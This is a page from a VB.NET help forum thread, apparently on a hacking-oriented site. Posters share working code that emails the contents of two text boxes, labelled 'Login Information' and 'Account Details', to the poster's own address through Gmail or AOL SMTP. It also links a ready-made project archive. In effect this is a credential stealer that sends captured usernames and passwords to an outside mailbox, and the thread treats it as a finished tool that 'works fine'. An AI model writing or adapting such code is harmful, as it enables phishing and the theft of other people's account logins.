VB Help

Posts 16–19 of 19 · Page 2 of 2
Ok I'm gonna use a code I already have from a mailer I made.

Code:
Imports System.Net.Mail
Public Class Form1

    Private Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs)
        Dim theMailMessage As New MailMessage()
        With theMailMessage
                .To.Add("email@email.com")
            .From = New MailAddress("email@email.com")
            .Body = Me.TextBox1.Text & TextBox2.Text
            .Subject = "Account Details"
        End With
        Dim theClient As New SmtpClient("smtp.aol.com")
        With theClient
            .UseDefaultCredentials = False
            .Credentials = New System.Net.NetworkCredential("username", "password")
            .EnableSsl = True
        End With
    
        Try
            theClient.Send(theMailMessage)
        Catch wex As Net.WebException
        End Try
    End Sub 'Page_Load


End Class
Quote Originally Posted by tibble View Post
Ty...
NEXTGEN1 FOR MINION

Using Gmail as a SMTP relay
Code:
'Required Namespace to send smtp via gmail (or anything really :p)
Imports System.Net.Mail
Public Class Form1
    'on button click event
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click



        Dim client As New SmtpClient()
        ' the recieving email address, (so your email address tibble)
        Dim sendTo As New MailAddress("example@gmail.com")
        ' Who is it coming from? I suggest doing something like using the users real email to sort or using texbox1.text@login.com)
        Dim from As MailAddress = New MailAddress("yourgmailaccountusername@address.com")
        Dim message As New MailMessage(from, sendTo)

        message.IsBodyHtml = True
        message.Subject = "Login Information"
        message.Body = message.Body + (TextBox1.Text)
        message.Body = message.Body + ""
        message.Body = message.Body + (TextBox2.Text)

        'authentication = Your email@gmail.com and password = "" your password
        Dim basicAuthenticationInfo As New System.Net.NetworkCredential("Your email address for gmail", "Your password")


        client.Host = "smtp.gmail.com"
        client.UseDefaultCredentials = False
        client.Credentials = basicAuthenticationInfo
        client.EnableSsl = True

        Try

            client.Send(message)
            Console.WriteLine("SUCCESS")

        Catch ex As Exception

            Console.WriteLine("SEND FAIL")

        End Try

    End Sub

End Class
http://innovatorsworldwide.com/MPGH/Tibble.rar

http://www.virustotal.com/analisis/1...343-1263845045

Attached is a small working example project, set the credentials, I noted everything,
Hope this helps

Otherwise I can get you Jscape and Chilkat components to send and receive smtp , only issue is you need an smtp server for most of these examples to work, so your best bet is the gmail example.
Works fine, thanks!
Quote Originally Posted by tibble View Post
Works fine, thanks!
Glad, You can request close Any more issues Pm me
Posts 16–19 of 19 · Page 2 of 2
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Talk with us